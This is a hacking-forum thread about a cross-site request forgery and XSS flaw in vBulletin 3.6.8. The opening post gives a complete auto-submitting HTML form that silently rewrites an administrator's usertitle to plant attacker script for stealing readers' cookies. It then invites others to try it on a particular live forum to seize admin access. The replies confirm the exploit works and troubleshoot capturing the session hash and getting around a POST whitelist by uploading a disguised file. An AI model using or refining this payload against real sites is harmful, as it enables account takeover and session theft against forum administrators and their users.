Hi!
vBulletin 3.6.8 XSRF/XSS Vulnerability
vBulletin Version: 3.6.8 Patch Level x and possible lower
As administrators can use html in the usertitle an attacker can update the profile of an administrator by sending a link to a site with a code like this:
| Code: | <html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="http://domain.tld/[path]/vBulletin/profile.php?do=updateprofile";
method="POST" name="form">
<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>
|
If the attacker sends a link to the admin (in a pm for example) the admin's usertitle will be updated and contains the new code of the attacker now. The code will be executed as soon as the admin has submitted a new posting. Now the attacker can steal the cookies of user's who are reading the thread.
Is anyone interested to try this exploit with me on a particular forum? I know one forum that has enabled html entities would be easy to gain admin access.
cheers

Very nice, it's working great for me 
I'm having a problem saving the cookie though, I'm just using document.cookie and it isn't getting bbsessionhash. It's only getting bblastvisit and bblastactivity. What's going on?
Also it looks like you need have the html page on the same domain as the forum, or it won't accept it as it's not on the whitelist. |

Hi! That's extactly the problem: You won't get the bbsessionhash with the cookie as the php skript must run on the same server as the vbulletin software (see: http://www.waraxe.us/ftopict-2506.html ).
It will only work this way: The php code must be embedded into site admin's user title:

| I am trying to use this. I have gotten everything working for what I want, but when I try to execute it, it says the server doesn't allow POST through my server due to it not being in a whitelist. As I do not know the whitelist, I uploaded the file as a doc on the forum, then I used readfile() in PHP and set the header as HTML and it wouldn't work correctly. Pretty much what I need to do is load the "doc" file as an HTML file on there server. Is there any way of doing that? |

If there was a way of doing that it would make life very easy.
If the forum has html enabled you could just put the xss code in a post. |
